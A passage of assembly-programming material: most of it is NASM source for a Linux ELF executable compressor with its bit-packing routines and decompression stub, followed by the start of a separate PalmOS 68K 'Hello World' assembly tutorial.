        db      6Ah,MERFS       ; push dword MERFS
        pop     edx
wsex04: call    WS
ex04:   jmp     long ex05 ;short ex05
OK_read:

        add     eax,esi
        mov     dword [konyc_dat],eax
;       mov     ecx,4Ch         ; header size
        db      6Ah,4Ch         ; push dword 4Ch
        pop     ecx
        sub     dword [f0s],ecx
        repz movsb
        push    esi
        mov     esi,uncompress_routine
        mov     cl,uncompress_routine_size
        repz movsb
        pop     esi

; all self compressing is below this:

        movsb           ; first byte, store it, this byte can't be compressed
        call    o_C_0   ; setup [position] and byte on [position]
        dec     dword [f0s]
        jz      near terminate002

;       xor     eax,eax
;       mov     dword [last_delta],eax  ; I know : all data in UDATASEG is zero
;                                       ; but use dirty tricks and must be sure
;                                       ; dword [last_delta] can be non zero if
;                                       ; compressed fy1e overwrite
;                                       ; [last_delta] but i hope that
;                                       ; compressed will be smaller as
;                                       ; original executable
        call    progress

compress002:

        call    scan002

; some optimalizations for found better chain as chain by scan0002
        cmp     eax,1
        jbe     near    cant_optimize_002_L0
; on ESI is EAX lenght chain
; explore if on SI isn't chain with no change delta - if it's use this chain
        call    scanincd        ; include procedure in scan_ncd.inc
        jc      cant_optimize_002_L1
        mov     ebx,dword [last_delta]
; pack without change delta has superior pack priority ( the best pack ratio )
        jmp     near    A08_new_optimalization

cant_optimize_002_L1:
        xchg    dword [last_delta],ebx
        push    ebx
        push    eax
        push    esi
        add     esi,eax
        stc
        cmp     dword [konyc_dat],esi
        jz      chumaj
        inc     esi
        cmp     dword [konyc_dat],esi
        jz      chumaj
        call    scan002
        call    scanincd
chumaj: pop     esi
        pop     eax
        pop     ebx
        xchg    dword [last_delta],ebx
        jnc     near    cant_optimize_002_L0

skus_toto_L0:
```

```
        push    ebx
        push    eax
        inc     esi
        call    scan002
        call    scanincd
        dec     esi             ; DEC don't change Carry !!!
        xchg    ecx,eax         ; number of bytes to ECX
                                ; XCHG don't change Carry !!!
        pop     eax             ; POP don't change Carry !!!
        pop     ebx
        jc      try_next_optimalization
; use chain without change delta require less bits for pack ?
        call    bitreq_02
        push    edx             ; number of bits for pack non-optimized chain
        xchg    ecx,eax         ; number of bytes of non-optimized chain -> CX
                ; number of bytes of chain without change delta -> AX
        push    ebx
        mov     ebx,dword [last_delta]  ; make EBX = EBX in last pack_02
        call    bitreq_02       ; return EDX = number of bits for pack chain
                                ; without change delta
        pop     ebx

        push    edx
        push    eax
        xor     eax,eax         ; simulate pack 1 byte first ( before chain
                                ; without change delta )
        call    bitreq_02
        pop     eax
        add     dword [esp+0*4],edx
        pop     edx
        xchg    ecx,eax         ; restore EAX = number of bytes of
                                ; non-optimized chain
        inc     ecx             ; number of bytes for pack optimized chain
        cmp     eax,ecx
        pop     ecx             ; number of bits for pack non-optimized chain
        jc      near    pack_1_byte_look_better
        cmp     edx,ecx
        jc      near    pack_1_byte_look_better

try_next_optimalization:

        cmp     eax,3
        jc      try_old_optimalization
        push    ebx
        push    eax
        inc     esi
        inc     esi
        call    scan002
        call    scanincd
        dec     esi
        dec     esi
        xchg    ecx,eax         ; number of bytes to ECX
                                ; XCHG don't change Carry !!!
        pop     eax             ; POP don't change Carry !!!
        pop     ebx
        jc      try_old_optimalization
; use chain without change delta require less bits for pack ?
        call    bitreq_02
        push    edx             ; number of bits for pack non-optimized chain
        xchg    ecx,eax         ; number of bytes of non-optimized chain -> CX
                ; number of bytes of chain without change delta -> AX
        push    ebx
        mov     ebx,dword [last_delta]  ; make EBX = EBX in last pack_02
        call    bitreq_02       ; return EDX = number of bits for pack chain
                                ; without change delta
        pop     ebx

        push    edx
        push    eax
        xor     eax,eax         ; simulate pack 1 byte first ( before chain
                                ; without change delta )
        call    bitreq_02
        pop     eax
        add     dword [esp+0*4],edx
        pop     edx
        xchg    ecx,eax         ; restore EAX = number of bytes of
                                ; non-optimized chain
        inc     ecx
        inc     ecx             ; number of bytes for pack optimized chain
        cmp     eax,ecx
        pop     ecx             ; number of bits for pack non-optimized chain
        jc      near    pack_1_byte_look_better
        cmp     edx,ecx
        jc      near    pack_1_byte_look_better

try_old_optimalization:
        push    esi
        add     esi,eax
        cmp     dword [konyc_dat],esi
        pop     esi
        jz      near    L_NO_0

        call    bitreq_02

        push    ebx
        push    eax
        push    edx
        push    eax

        push    esi
        add     esi,eax
        call    scan002
        call    bitreq_02
        pop     esi
        add     dword [esp+0*4],eax
```

```
        add     dword [esp+1*4],edx

        xor     eax,eax
        call    bitreq_02
        push    edx
        inc     esi
        call    scan002
        call    bitreq_02
        dec     esi
        add     dword [esp+0*4],edx
        pop     edx             ; EDX=bits required by pack 1 byte first
        inc     eax             ; EAX=bytes packed in 2 steps , pack 1 byte
                                ; first

        cmp     dword [esp+0*4],eax
        jc      obnov_to ;;;     clc
        jnz     obnov_to
        cmp     edx,dword [esp+1*4]
obnov_to:
        pop     eax
        pop     edx
        pop     eax
        pop     ebx
        jc      near    pack_1_byte_look_better

A08_new_optimalization:
        cmp     eax,3
        jc      near    can_t_use_new_optimalization_08
        push    esi
        add     esi,eax
        inc     esi
        inc     esi
        inc     esi             ; it's very unhappy idea fucking near the death
                                ; this isn't usefull for try code marked
                                ; DANGEROUS for last 3 bytes because this can
                                ; be unstable (data in f0b overleap)
        cmp     dword [konyc_dat],esi
        pop     esi
        jbe     this_is_it
        xchg    dword [last_delta],ebx
        push    ebx
        push    eax
        push    esi
        add     esi,eax
        inc     esi             ; DANGEROUS , ESI+1
        call    scan002
        call    scanincd        ; DANGEROUS , must be ESI + 1 + EAX (where
                                ; EAX > 1)
        pop     esi             ; DEC instruction don't change Carry (=CF) !!!
        pop     eax             ; POP instruction don't change Carry (=CF) !!!
        pop     ebx
        xchg    dword [last_delta],ebx  ; XCHG instruction don't change Carry
                                        ; (=CF) !!!
        jnc     can_t_use_new_optimalization_08

this_is_it:
        push    ebx
        push    eax
        push    edx ;db     6Ah,0   ; push dword 0  ; bits count=0 but will
                                    ; be overwrited first time because
                                    ; chain > 0 bytes will be found
        db      6Ah,0   ; push dword 0  ; chain lenght counter

new_optimalization_08_L0:
        call    scan_lim                ; scan EAX chain lenght, return min.
                                        ; EBX
        call    scanincd
        jc      new_optimalization_08_L1
        mov     ebx,dword [last_delta]
new_optimalization_08_L1:
        call    bitreq_02
        push    edx
        push    eax
        push    esi
        xchg    dword [last_delta],ebx
        push    ebx
        add     esi,eax
        call    scan002
        call    bitreq_02
        pop     ebx
        xchg    dword [last_delta],ebx
        pop     esi
        add     eax,dword [esp+0*4]
        xchg    ecx,eax
        pop     eax
        add     dword [esp+0*4],edx
        pop     edx
        cmp     dword [esp+0*4],ecx
        jc      toto_bude_asy_lepseeeee
        jnz     toto_bude_asy_horse
        cmp     dword [esp+1*4],edx
        jbe     toto_bude_asy_horse

toto_bude_asy_lepseeeee:
;       mov     dword [esp+2*4],ax
;       mov     dword [esp+3*4],bx
;       mov     dword [esp+0*4],cx
;       mov     dword [esp+1*4],dx
        add     esp, byte 4*4
        push    ebx
        push    eax
        push    edx
        push    ecx
toto_bude_asy_horse:
```

```
        dec     eax
        cmp     eax,1
        jnz     new_optimalization_08_L0

        pop     eax
        pop     eax
        pop     eax
        pop     ebx
can_t_use_new_optimalization_08:

L_NO_0:

        cmp     eax,9           ; under 32 bit opcodes it's enough  for 1 MB
                                ; data block
                                ; 16 bit delta is less than 64 kB and require
                                ; max. 4 bytes for calculate it
                                ; Summa: Under DOS its enough use CMP AX,4
                                ;        because small value is fast algorithm
                                ;        Under 32 bit OS ( Linux, NT 4.0 ) use
                                ;        big value if big data block
                                ;        9 is enough for 4 GB of data block
                                ;        Who can produce 4 GB of ASM code ???
        jnc     cant_optimize_002_L0
; i have chain with AX  and try pack 1 byte AX times
        push    eax
        db      6Ah,0 ;push   0000h           ; bits require counter
        push    eax             ; pack 1 byte AX times
optimize_002_L2:
        xor     eax,eax
        call    bitreq_02       ; include procedure in bitreq02.inc
        inc     esi
        add     dword [esp+1*4],edx     ; bits require counter
        dec     dword [esp+0*4] ; pack 1 byte EAX times
        jnz     optimize_002_L2 ; simulate pack 1 byte EAX times
        pop     eax             ; remove word from stack only
        pop     ecx             ; ECX = required bits count for pack 1 byte EAX
                                ; times
        pop     eax             ; restore EAX
        sub     esi,eax         ; restore ESI

        call    bitreq_02       ; explore once-pack EAX bytes EBX delta bits
                                ; count
                                ; return EDX=bits required
        cmp     edx,ecx
        jc      cant_optimize_002_L0
; use JC for prefer pack 1 byte EAX times
; use JBE for prefer once-pack EAX bytes with delta = EBX
; JC is sometimes better because pack 1 byte don't change delta and it's
; possibility pack without change delta ( call scanincd ) later
; JC has better ratio in my experiments by aprox 1 byte per 1 kB of data but
; this depend on data structure and sometimes JBE can be more rational if
; change delta and later pack with this new delta without change delta

; O.K. pack 1 byte now
pack_1_byte_look_better:
        xor     eax,eax
; now will be packed last 1 byte by call pack002 in a00.asm
; EAX=0

cant_optimize_002_L0:

        call    pack002

        add     esi,eax
        sub     dword [f0s],eax
        pushfd
        call    progress
        popfd
        jnz     near compress002        ; jnz don't handle error if packing
                                        ; more bytes as bytes in f0buffer
                                        ; jnbe is better
        mov     ecx,progress_text
        xor     edx,edx
        inc     edx
        mov     byte [ecx],0Ah
        call    WS

terminate002:

        call    putbit1
        call    putbit1

        xor     eax,eax
        stosb

        mov     ebx,dword [position]
        stc
        rcl     byte [ebx],1
        jc      done_002

flush:  shl     byte [ebx],1
        jnc     flush                   ; shift all control_bits and remove
                                        ; highest ( highest was put in MOV BYTE
                                        ; PTR DS:[DI],1 , INC DI )

done_002:

after_compress:

; modifying data for fill pointer registers in output file

; calculate boundary of moved data
        mov     ecx,f1b
        mov     eax,edi
        sub     eax,f1b - 08048000h + 1
```

```
        mov     dword [ecx+4Fh],eax     ; esi value

        mov     eax,edi
        sub     eax,f1b+4Ch+fuyi - 08048000h + 1
        add     eax,dword [ecx+40h]
        mov     dword [ecx+54h],eax     ; edi value

; calculate size of moved data
        mov     eax,edi
        sub     eax,f1b+4Ch+fuyi
        mov     dword [ecx+59h],eax     ; ecx value

; calculate offset after uncompress_routine (esi)
        mov     eax,dword [ecx+40h]
        add     eax,08048000h + uncompress_routine_end - uncompress_moved
        mov     dword [ecx+69h],eax     ; esi value

; calculate offset of moved U13 (ebp)
        sub     eax, byte (uncompress_routine_end - U13)
        mov     dword [ecx+6Eh],eax     ; ebp value

; calculate JUMP
        mov     eax,dword [ecx+18h]
        sub     eax,dword [ecx+40h]
        sub     eax,08048000h + uncompress_routine_end - uncompress_moved
        mov     dword [f1b+0D9h],eax ;[ecx+0D9h],eax

; modify data in a header
        mov     dword [ecx+18h],0804804Ch       ; START

        mov     eax,edi
                                ; ECX=f1b
        sub     eax,ecx         ; sub   eax,f1b
        mov     dword [ecx+3Ch],eax             ; filesize

        sub     eax, byte ( fuyi + 4Ch + 1 )
        add     dword [ecx+40h],eax             ; memorysize

        mov     byte [ecx+44h],111b             ; Exec,Write,Read

; O.K. going write output...
        mov     ebx,dword [f1h]
                        ; ECX=f1b ;;;     mov     ecx,f1b
        mov     edx,edi
        sub     edx,ecx
;       xor     eax,eax
;       mov     al,4    ; sys_write
        db      6Ah,4   ; push dword 4
        pop     eax
        int     80h
        cmp     eax,edx
        jz      OK_write
        mov     ecx,MEWF
;       xor     edx,edx
;       mov     dl,MEWFS
        db      6Ah,MEWFS       ; push dword MEWFS
        pop     edx
        call    WS
ex05:   jmp     short   exit
OK_write:

        mov     esi,f0h

        lodsd
        xchg    ebx,eax
;       xor     eax,eax
;       mov     al,6    ; sys_close
        db      6Ah,6   ; push dword 6
        pop     eax
        int     80h
        lodsd
        xchg    ebx,eax
;       xor     eax,eax
;       mov     al,6    ; sys_close
        db      6Ah,6   ; push dword 6
        pop     eax
        int     80h

exit:
        xor     ebx,ebx
;       xor     eax,eax
;       inc     eax
        db      6Ah,1
        pop     eax     ; this is better for compress as xor eax,eax inc eax
                        ; sys_exit
        int     80h

WS:     xor     ebx,ebx
        inc     ebx     ; EBX=1 (STDOUT)
;       xor     eax,eax
;       mov     al,4    ; write
        db      6Ah,4   ; push dword 4
        pop     eax
        int     80h
        ret

; -------

scan002:
; input:  chain on ESI
; return: EAX max. lenght ( 0 or 1 for chain not found ) , EBX delta

        push    esi
        push    edi
        xor     edx,edx         ; chain lenght counter
```

```
        mov     edi,f0b
        mov     ecx,esi
        sub     ecx,edi
        lodsb
scan_L00:
        jecxz   scan_L04
        repnz scasb
        jnz     scan_L04
        push    eax
        push    ecx
        push    esi
        push    edi
        mov     eax,dword [konyc_dat]
        sub     eax,esi
        mov     ecx,eax
        jecxz   scan_L03
scan_L01:
        repz cmpsb
        jnz     scan_L02
        inc     eax             ; last byte is in chain and must be encountered
scan_L02:
        sub     eax,ecx
        cmp     eax,1           ; chain must be minimal 2 bytes long
        jbe     scan_L03
        cmp     eax,edx
        jc      scan_L03
        xchg    edx,eax
        mov     ebx,esi
        sub     ebx,edi         ; EBX=shift=deta
scan_L03:
        pop     edi
        pop     esi
        pop     ecx
        pop     eax
        jmp     short   scan_L00
scan_L04:
        pop     edi
        pop     esi
        xchg    edx,eax
        ret

; -------

scan_ncd:
; input:  chain on ESI , EAX requested lenght with shift = [last_delta]
; return: EAX max. lenght ( 0 or 1 for chain not found )
        cmp     dword [last_delta], byte 0
        jnz     mozno_aj_bude
        xor     eax,eax
        ret
mozno_aj_bude:
        push    ecx
        push    esi
        push    edi
        mov     edi,esi
        sub     edi,dword [last_delta]
        mov     ecx,eax
        repz cmpsb
        pop     edi
        pop     esi
        jnz     scan_ncd_0
        inc     eax             ; last byte is in chain and must be encountered
scan_ncd_0:
        sub     eax,ecx
        pop     ecx
        ret


scanincd:
; input:  chain on ESI , EAX requested lenght with shift = [last_delta]
; return: CLC ( Carry Flag = 0 ) if chain found , STC (CF=1) if not found
        cmp     dword [last_delta], byte 0
        jnz     mozno_aj_bude_0
        stc
        ret
mozno_aj_bude_0:
        push    ecx
        push    esi
        push    edi
        mov     edi,esi
        sub     edi,dword [last_delta]
        mov     ecx,eax
        repz cmpsb
        pop     edi
        pop     esi
        jnz     nebude_any_ket_sa_zesere_z_blbych_pocytov
        jecxz   zeserau_sa_z_blbych_pocytov
nebude_any_ket_sa_zesere_z_blbych_pocytov:
        stc
        pop     ecx
        ret
zeserau_sa_z_blbych_pocytov:
        clc
        pop     ecx
        ret

; -------

scan_lim:
; input:  chain on ESI , EAX chain lenght , EAX > 1
; return: EBX minimal delta
; this procedure is usefull for call after call scan002 for scan shorter chains
; on this some ESI
; call scan_lim assume that on ESI is chain with {EAX}
; call scan_lim with EAX = {EAX}-1, {EAX}-2, {EAX}-3, ... , 3, 2
```

```
; {EAX} is value returned after call scan002
        push    ecx
        push    edi
        mov     edi,esi
scan_lim_L00:
        dec     edi
;       cmp     edi,f0b         ; call scan_lim assume that longer chain was
;                               ; found
;       jc      scan_lim_L00
        mov     ecx,eax
        push    esi
        push    edi
        repz cmpsb

        pop     edi
        pop     esi
        jnz     scan_lim_L00
        jecxz   scan_lim_L01
        jmp     short   scan_lim_L00
scan_lim_L01:
        mov     ebx,esi
        sub     ebx,edi
        pop     edi
        pop     ecx
        ret

; -------

bitreq_02:
; input  : EAX = number of bytes for pack request
;          EBX = shift = delta ( if EAX = 2 or more )
; output : EDX = number of bits required for pack
; destroy: nothing

        cmp     eax,1
        jnbe    bitreq_more_bytes

bitreq_1_byte:

        db      6Ah,7   ; push doubleword 7
        pop     edx     ; make EDX=7

; scan if can be used 7 bits for pack 1 byte = 00h or 1 byte with shift < 16
; if this can't be used , pack by use 9 bits can be always used

; byte for compress is = 00h ?
        cmp     byte [esi],0
        jz      bitreq_7_bits   ; 7 bits required ( sequence 1100000 )

bitreq_jak_skusas_co_skusas:
; byte isn't = 00h but explore if found equal byte with shift < 16
        push    eax
        mov     al,byte [esi]
        push    ecx
;       xor     ecx,ecx
;       mov     cl,15
        db      6Ah,15
        pop     ecx
        push    edi
        mov     edi,esi
        sub     edi,ecx
        cmp     edi,f0b
        jnc     bitreq_pome_skusat
        mov     edi,f0b
        mov     ecx,esi
        sub     ecx,edi
bitreq_pome_skusat:
        repnz scasb
        pop     edi
        pop     ecx
        pop     eax
        jz      bitreq_7_bits

; always can be used this mode but has bad pack ratio
; pack 1 byte , use 9 bits ( 1 byte + 1 bit )
        mov     dl,9
bitreq_7_bits:
        mov     al,1            ; 1 byte packed EAX=1
        ret

bitreq_more_bytes:

        cmp     ebx,dword [last_delta]
        jnz     bitreq_another_delta

bitreq_old_delta:
        bsr     edx,eax         ; ( bits / 2 ) for calculate bytes count
        lea     edx,[2*edx+4]   ; 4 bits sequence 1000 don't calculate new
                                ; delta
        ret

bitreq_another_delta:
        cmp     ebx,byte 7Fh                            ; cmp ebx,7Fh require 3
                                                        ; bytes
        jnbe    bitreq_big_delta_or_more_bytes
        cmp     eax,4
        jnc     bitreq_big_delta_or_more_bytes

; pack 2 or 3 bytes with delta
        db      6Ah,8+3
        pop     edx ;mov    edx,8+3                 ; 8 bit = 1 byte for
                                                        ; MOV BL,[ESI]  INC ESI
        ret                             ; 3 bit sequence 111 switch to this
                                        ; mode
```

```
bitreq_big_delta_or_more_bytes:
; pack 4 or more bytes with delta <+0001h,maximal_delta)
; pack 2 or more bytes with delta <+0080h,maximal_delta)
        push    eax
        push    ebx

        cmp     ebx,byte 7Fh
        jnbe    bitreq_high_delta
        dec     eax
        dec     eax             ; invert for 2x INC ECX in decompress

bitreq_high_delta:
        bsr     eax,eax         ; (bits/2)  for calculate count

        shr     ebx,8           ; remove BL part of delta
        inc     ebx
        inc     ebx
        inc     ebx             ; invert for 3x DEC EBX in decompress
        bsr     ebx,ebx         ; (bits/2) for calculate delta without BL

        add     eax,ebx
        lea     edx,[2*eax+2+8] ; 2 bit sequence for switch to this mode
                                 ; 8 bit=1 byte for MOV BL,[ESI]   INC ESI
        pop     ebx
        pop     eax
        ret

; -------

pack002:
; input :  EAX = number of bytes for pack request
;          EBX = shift = delta ( if AX = 2 or more )
; output : EAX = number of bytes packed
        cmp     eax,1
        jnbe    pack_more_bytes

pack_1_byte:

; scan if can be used 7 bits for pack 1 byte = 00h or 1 byte with shift < 16
; if this can't be used , pack by use 9 bits can be always used

; byte for compress is = 00h ?
        mov     al,byte [esi]
        or      al,al
        jz      common_7_bits   ; putbit sequence 1100000

jak_skusas_co_skusas:
; byte isn't = 00h but explore if found equal byte with shift < 16
        xor     ecx,ecx
        mov     cl,15
        push    edi
        mov     edi,esi
        sub     edi,ecx
        cmp     edi,f0b
        jnc     pome_skusat
        mov     edi,f0b
        mov     ecx,esi
        sub     ecx,edi
pome_skusat:
        repnz scasb
        pop     edi
        jnz     jerk_it_off_and_try_again
        xchg    ecx,eax
        inc     eax             ; EAX = shift (possitive value)

common_7_bits:

        call    putbit1
        call    putbit1
        call    putbit0
        mov     cl,4
        shl     al,cl
pbimu7: shl     al,1
        call    putbit
        loop    pbimu7

        jmp     short   pack_1_byte_common_end

jerk_it_off_and_try_again:
; always can be used this mode but has bad pack ratio
; pack 1 byte , use 9 bits ( 1 byte + 1 bit )
        movsb
        dec     esi             ; restore ESI to ESI before pack
        call    putbit0

pack_1_byte_common_end:

        xor     eax,eax
        inc     eax             ; 1 byte packed EAX=1

        ret

pack_more_bytes:

        push    eax             ; store EAX for restore number of bytes packed
                                ; ( by POP EAX )
        cmp     ebx,dword [last_delta]
        jnz     another_delta

pack_with_old_delta:
        call    putbit1
        call    putbit0
        call    putbit0
        call    putbit0         ; sequence 1000 don't calculate new delta
```

```
        mov     ecx,32
fdcd:   dec     ecx
        shl     eax,1
        jnc     fdcd            ; shift bits left and remove highest bit=1
                                ; this bit will be put by INC CX in decompress
mocd:   shl     eax,1
        call    putbit
        dec     ecx
        jz      mwocd
        call    putbit1
        jmp     short   mocd
mwocd:  call    putbit0
        pop     eax             ; packed EAX bytes from input buffer
        ret

another_delta:
        mov     dword [last_delta],ebx  ; all modes change last_delta
;       cmp     ebx,80h                 ; cmp ebx,80h require 6 bytes
;       jnc     big_delta_or_more_bytes
        db      83h,0FBh,7Fh ;cmp    ebx,7Fh    ; cmp bx,7Fh require 3 bytes
        jnbe    big_delta_or_more_bytes
        cmp     eax,4
        jnc     big_delta_or_more_bytes

; pack 2 or 3 bytes with delta
        call    putbit1
        call    putbit1                 ; bit sequence 111 switch to this mode
                                        ; third bit 1 will be passed at end of
                                        ; packing before POP AX
        sub     al,3                    ; value 2 -> CF=1, value 3 -> CF=0
        adc     bl,bl
        xchg    ebx,eax
        stosb
        call    putbit1                 ; put last control bit must be after
                                        ; STOSB (for mov bl,[esi] , inc esi)
                                        ; because when decompress , bits are
                                        ; processed first and byte second ->
                                        ; when compressing , byte must be
                                        ; processed before last bit
        pop     eax                     ; value 2 or 3
                                        ;     -> this mode process 2 or 3 bytes
        ret

big_delta_or_more_bytes:
; pack 4 or more bytes with delta <+0001h,maximal_delta)
; pack 2 or more bytes with delta <+0080h,maximal_delta)
        call    putbit1
        call    putbit0

        db      83h,0FBh,7Fh ;cmp    ebx,7Fh
        jnbe    high_delta
        dec     eax
        dec     eax                     ; invert for 2x INC ECX in decompress
high_delta:

        push    eax
        xchg    ebx,eax
        push    eax             ; push only for part in BL moved to AL
        shr     eax,8           ; this destroy AL
        inc     eax
        inc     eax
        inc     eax             ; invert for 3x DEC EBX

        mov     ecx,32
fgfaad: dec     ecx
        shl     eax,1
        jnc     fgfaad

wetryw: shl     eax,1
        call    putbit
        dec     ecx
        jz      shsdwd
        call    putbit1
        jmp     short   wetryw
shsdwd: call    putbit0
        pop     ebx             ; pop only for BL
        pop     eax             ; pop bytes count

calculate_count:
        mov     ecx,32
fcdcd:  dec     ecx
        shl     eax,1
        jnc     fcdcd           ; shift all bits left and remove highest bit=1
                                ; this bit will be put by INC ECX in decompress
mwocdl: shl     eax,1
        call    putbit
        dec     ecx
        jz      mwocdt
        call    putbit1
        jmp     short   mwocdl
mwocdt:
        xchg    ebx,eax
        stosb                   ; store AL (BL in decompress)
                                ; as well in delta  , stored
                                ; byte must be before store last bit because
                                ; when decompress, bit will be processed
                                ; first and byte will be loaded later

        call    putbit0         ; this bit will be processed in
                                ; decompress for calculate ECX ( JC U05 )

        pop     eax             ; packed EAX bytes from input buffer
        ret

; -------
```

```
; putbit input  :  Carry Flag (CF=0,CF=1)
;        output :  bit 0. in [position], EDI+1 as need for store bit to [EDI]
;        destroy:  nothing

putbit0:clc                             ; put bit=0
        jmp     short putbit
putbit1:stc                             ; put bit=1
putbit: push    ebx
        mov     ebx,dword [position]
        rcl     byte [ebx],1
        pop     ebx
        jnc     o_C_1
o_C_0:  mov     byte [edi],1
        mov     dword [position],edi
        inc     edi
o_C_1:  ret

; -------

progress:
        pushad
        mov     esi,f0s_2
        mov     edi,progress_text+1
        mov     ebp,w1hch

        lodsd
        push    eax
        sub     eax,dword [esi]

        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp

        inc     edi
        inc     edi
        pop     eax

        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp
        rol     eax,4
        call    ebp

        mov     ecx,progress_text
        xor     edx,edx
        mov     dl,progress_text_size
        call    WS
        popad
        ret

w1hch:  push    eax
        and     al,00001111b
        cmp     al,10
        sbb     al,69h
        das
        stosb
        pop     eax
        ret

; -------

uncompress_routine:
        pushfd
        pushad
        mov     esi,0
        mov     edi,0
        mov     ecx,0
        std
        repz movsb
        cld
        xchg    esi,edi
        inc     esi
        db      83h,0EFh,fuyi - 1       ; sub edi,fuyi-1
        push    esi
        mov     esi,0
        mov     ebp,0           ; U13
        mov     dl,80h
        ret

fuyi    equ     $ - uncompress_routine
```

```
uncompress_moved:
        push    eax

U00:    movsb
U01:    call    ebp
        jnc     U00

        xor     ebx,ebx
        call    ebp
        inc     ecx
        jnc     U03

        call    ebp
        jc      U06

        mov     bl,10h
U02:    call    ebp
        adc     bl,bl
        jnc     U02

        jnz     U10

        xchg    ebx,eax
        jmp     short U12

U03:    inc     ebx
U04:    call    ebp
        adc     ebx,ebx
        call    ebp
        jc      U04

U05:    call    ebp
        adc     ecx,ecx
        call    ebp
        jc      short U05

        dec     ebx
        dec     ebx
        jz      short U09
        dec     ebx
        shl     ebx,8 ;;;;;;; clc             ; clc isn't needed because EBX < 01000000h before shift

U06:    mov     bl,byte [esi]
        inc     esi
        jnc     U07

        shr     bl,1
        jz      U15
        sbb     cl,ch           ; equ SBB CL,BH because BH=CH=0

U07:    ;cmp    ebx,00007D00h   ; this is not implemented, yet
        ;jnc    zvys_o_dve      ; i found this in WINCMD32.EXE v. 4.03
        ;cmp    ebx,00000500h   ; packed with ASPACK
        ;jnc    zvys_o_jennu
                ; isn't rational compress 3 bytes with shift > 7CFFh
                ; rational is at least 4 bytes
                ; isn't rational compress 2 bytes with shift > 4FFh
                ; rational is at least 3 bytes
        cmp     ebx, byte 7Fh ;db     83h,0FBh,7Fh
        jnbe    U08

zvys_o_dve:
        inc     ecx
zvys_o_jennu:
        inc     ecx

U08:    pop     eax
        db      0A8h            ; opcodes A8 5B = TEST AL,5B
U09:    pop     ebx             ; opcode 5B
        push    ebx
U10:    neg     ebx

U11:    mov     al,byte [edi+ebx]
U12:    stosb
        loop    U11
        jmp     short U01

U13:    add     dl,dl           ; get highest bit from control_byte
        jnz     U14    ; is it last non-zero bit ? = all 8 bits was processed ?
        lodsb                   ; load control_byte
        xchg    edx,eax         ; store control_byte to DL
        adc     dl,dl           ; put last bit from last control_byte to bit 0.
                                ; of new control_byte
U14:    ret

U15:    pop     eax
        popad
        popfd
        db      0E9h            ; jump
        dd      0

uncompress_routine_end:
uncompress_routine_size equ     $ - uncompress_routine

; -------

MEOF            db      'ERROR OPEN file!',0Ah
MEOFS           equ     $ - MEOF
MECF            db      'ERROR CREAT file!',0Ah
MECFS           equ     $ - MECF
MSEEF           db      'ERROR SEEK to END of file!',0Ah
MSEEFS          equ     $ - MSEEF
MSEBF           db      'ERROR SEEK to BEGIN of file!',0Ah
MSEBFS          equ     $ - MSEBF
```

```
MERF            db      'ERROR READ file!',0Ah
MERFS           equ     $ - MERF
MEWF            db      'ERROR WRITE file!',0Ah
MEWFS           equ     $ - MEWF
usage           db      0Ah,'K0mprezz ELF ASM executab1e fy1e usyng OOO alg0ry'
                db      'thm',0Ah
                db      0Ah,'usage: a00 '
                db      'filename_for_compress compressed_filename',0Ah,0Ah
                db      'ASM coding in LINUX by Feryno',0Ah
                db      'Feryno: ASSEMBLER-only and DISASSEMBLER-only wonderfu'
                db      'l'
                db      0Ah,0Ah
usagesize       equ     $ - usage
progress_text   db      0Dh,'00000000h/00000000h'
progress_text_size      equ     $ - progress_text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;
filesize        equ     $ - $$ ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

SECTION .bss
ALIGNB 4

f0h             resd    1       ; in_file handle
f1h             resd    1       ; out_file handle
f0s_2           resd    1       ; in_file size
f0s             resd    1       ; in_file size
position        resd    1       ; required by putbit procedures
konyc_dat       resd    1
last_delta      resd    1

fy1eObuffer     resb    4Ch             ; header of a file
f0b             resb    100000h         ; kode & data of a fy1e
f0b_size        equ     $ - fy1eObuffer

f1b_size        equ     200000h
f1b             resb    f1b_size ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;
bsssize         equ     $ - $$ ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;
memsize         equ     filesize+bsssize ;; ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
```

```
::/ \::::::.
:/___\:::::::.
/|    \::::::::.
:|   _/\:::::::::.
:| _|\  \::::::::::.
:::\_____\:::::::::::..........................................PALMOS.ENVIRONMENT
                                                               Hello Tiny World
                                                               by Latigo
```

Hola! This is a tutorial on assembler for the PalmOS enviroment. I decided to write them due to the lack of material on the web. To assemble the asm presented in this paper, you need to get Darrin Massena's ASDK; which can be downloaded from http://www.massena.com/darrin/pilot/index.html. The ASDK contains an assembler,disassembler, the palm emulator and many other great tools. Massena is the low-level-semi-god-techno-guru who created the assembler (Pila), along with many other tools and documents. He was my starting point (and for many others too) for asm coding in the Palm enviroment.

The Palm uses a variation of the 68K Motorola CPU called 'DragonBall' which has 8 32-bit Data registers (from D0 to D7), 8 Addres registers (from A0 to A7) being A7 the stack pointer,one PC register which is the 'Program Counter' which contains the address of the instruction to be executed next and one 16 bits register called the Status Register (SR). Another thing to be noted is the way operands are specified in the DragonBall enviroment. It's not 'DEST,SRC' as in the Wintel world we all know, but 'SRC,DEST'. Say if you wanted to copy all the contents of the D7 register to the D0 this should be done: 'MOVE.L D7,D0'.

One last very important thing too is how to specify data types. In the previous example i used 'MOVE.L' where '.L' is talking about a 'long' data type. I could have used '.b' or '.w' meaning byte and word respectively. The size is always appended, when suitable, to the instruction nmemonic. So what im gonna show you here is something pretty basic, but will be enough as a start. It's the typicall 'Hello World'.

Theory:

We will create a basic Palm program in assembly which will make use of the FrmAlert Systrap in order to display an Alert Resource.

```
Word FrmAlert (
        Word alertId
);
```

